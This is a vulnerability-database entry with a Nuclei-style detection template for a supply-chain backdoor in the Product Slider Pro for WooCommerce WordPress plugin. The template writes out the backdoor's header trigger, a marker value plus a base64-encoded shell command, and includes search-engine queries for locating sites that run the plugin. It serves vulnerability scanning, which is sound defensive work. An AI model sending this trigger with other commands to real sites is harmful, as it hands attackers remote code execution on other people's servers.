CVE-2026-49777: WordPress Product Slider Pro for WooCommerce < 3.5.4 - Supply Chain Backdoor RCE

Description

Improper Validation of Specified Quantity in Input vulnerability in ShapedPlugin, LLC Product Slider Pro for WooCommerce allows Malicious Software Implanted. This issue affects Product Slider Pro for WooCommerce: from n/a before 3.5.4.

PoC

id: CVE-2026-49777

info:
  name: WordPress Product Slider Pro for WooCommerce < 3.5.4 - Supply Chain Backdoor RCE
  author: DhiyaneshDk
  severity: critical
  description: |
    Improper Validation of Specified Quantity in Input vulnerability in ShapedPlugin, LLC Product Slider Pro for WooCommerce allows Malicious Software Implanted. This issue affects Product Slider Pro for WooCommerce: from n/a before 3.5.4.
  impact: |
    Attackers can implant malicious software, potentially compromising the system or data integrity.
  remediation: |
    Apply the vendor's patch or update to the latest fixed version when available.
  reference:
    - https://patchstack.com/database/wordpress/plugin/woo-product-slider-pro/vulnerability/wordpress-product-slider-pro-for-woocommerce-plugin-3-5-2-backdoor-vulnerability
    - https://patchstack.com/articles/critical-supply-chain-compromise-in-smart-slider-3-pro-full-malware-analysis/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-49777
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2026-49777
    epss-score: 0.01656
    epss-percentile: 0.75391
    cwe-id: CWE-506
  metadata:
    verified: true
    max-request: 1
    vendor: shapedplugin
    product: product_slider_pro_for_woocommerce
    framework: wordpress
    shodan-query: http.component:"WordPress"
    fofa-query: body="wp-content/plugins/woo-product-slider-pro"
  tags: cve,cve2026,wordpress,wp-plugin,backdoor,rce,supply-chain,woocommerce,unauth,shapedplugin,vkev

variables:
  a: "{{rand_int(10000, 99999)}}"
  b: "{{rand_int(10000, 99999)}}"

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        X-Cache-Status: nw9xQmK4
        X-Cache-Key: {{base64("expr " + a + " + " + b)}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{{to_number(a)+to_number(b)}}"

      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(content_type, 'text/plain')"
        condition: and

    extractors:
      - type: dsl
        dsl:
          - "body"
# digest: 4a0a004730450220778df3cf090b964ea926bf866e48a029be957f76e355d00bd7b3342e3bccad4b022100943201cec31f18e2217db8b37bce74968054a1229235d91f3bcdf7dc5b45fe18:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

Related Vulnerabilities